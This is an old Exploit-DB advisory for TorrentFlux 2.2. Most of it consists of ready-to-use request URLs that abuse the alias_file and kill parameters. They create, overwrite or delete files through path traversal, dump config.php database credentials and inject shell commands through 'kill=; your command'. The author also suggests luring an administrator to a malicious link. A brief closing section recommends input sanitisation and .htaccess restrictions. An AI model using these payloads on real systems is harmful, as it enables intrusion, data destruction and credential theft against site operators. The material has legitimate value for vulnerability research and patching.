Exploit-DB #2786
Description: torrentflux 2.2 - Arbitrary File Create/ Execute/Delete
Type: webapps
Platform: php
Date: 2006-11-15
Author: r0ut3r

Exploit:
#################################################################################################
#                                                                                               #
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                                                                               #
# TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities #
#                                                                                               #
#################################################################################################
#                                                                                               #
# Software: TorrentFlux 2.2                                                                     #
#                                                                                               #
# Vendor: http://www.torrentflux.com/                                                           #
#                                                                                               #
# Released: 2006/11/15                                                                          #
#                                                                                               #
# Discovered By: r0ut3r (writ3r [at] gmail.com)                                                 #
#                                                                                               #
# Criticality: Highly critical                                                                  #
#                                                                                               #
# Note: The information provided in this document is for TorrentFlux administrator              #
# testing purposes only!                                                                        #
#                                                                                               #
# "TorrentFlux 2.2Beta does not seem to be vulnerable"                                          #
#################################################################################################

   TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablity
-------------------------------------------------------------------------------------------------

alias_file = name of file you want to create.
delfile = name of file you want to remove

-= To overwrite a file (make sure q.php is there, provided thats the file you want to overwrite): =-
/torrentflux/index.php?alias_file=../../q.php&kill=3361&kill_torrent= q.torrent

-= To create a file: =-
/torrentflux/index.php?alias_file=q.php&kill=3361&kill_torrent=q.torrent

All files are filled with:
0
0
Torrent Stopped

-= Exploit on config.php =-
/torrentflux/index.php?alias_file=../../config.php&kill=3361&kill_torrent=q.torrent
It will redirect you to index.php and it will display the DATABASE USERNAME/PASSWORD IN PLAINTEXT, plus the rest of the config information!

index.php displays:
0 -100 Torrent Stopped * TorrentFlux PHP Torrent Manager * www.torrentflux.com

**************************************************************/ /* This file is part of TorrentFlux. TorrentFlux is free software; you can

redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either

...etc...

**************************************************************************/ // YOUR DATABASE CONNECTION INFORMATION

/**************************************************************************/ // Check the adodb/drivers/ directory for support for your

database // you may choose from many (mysql is the default) $cfg["db_type"] = "mysql"; // mysql, postgres7 view adodb/drivers/

$cfg["db_host"] = "localhost"; // DB host computer name or IP $cfg["db_name"] = "tf"; // Name of the Database $cfg["db_user"] = "root"; //

username for your MySQL database $cfg["db_pass"] = "owned"; // password for database

-= Files can also be deleted like so: =-
/torrentflux/index.php?alias_file=owned.php&kill=3361&delfile=owned.php

-= Command Execution Exploit =-
/torrentflux/index.php?alias_file=owned.php&kill= ; echo "r0ut3r's TorrentFlux 0day" > /tmp/q.php&kill_torrent=q.torrent&return=true

Replace kill parameter like so:
kill=; your command
kill=; echo "r0ut3r just owned your system! hacked!" > /tmp/read_this.php

The only draw back is that you have to be a registered member before you can access the functions of index.php.
Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick).

Solution:
----------
Sanitize all variables listed above and below.
alias_file
delfile
kill
kill_torrent

Solution 2:
-----------
Set up .htaccess and only allow certain people to login until an offical patch is released.

----------------------------------------------------------------------------------------------
              This has been another r0ut3r discovery (writ3r [ at ] gmail.com)
----------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-15]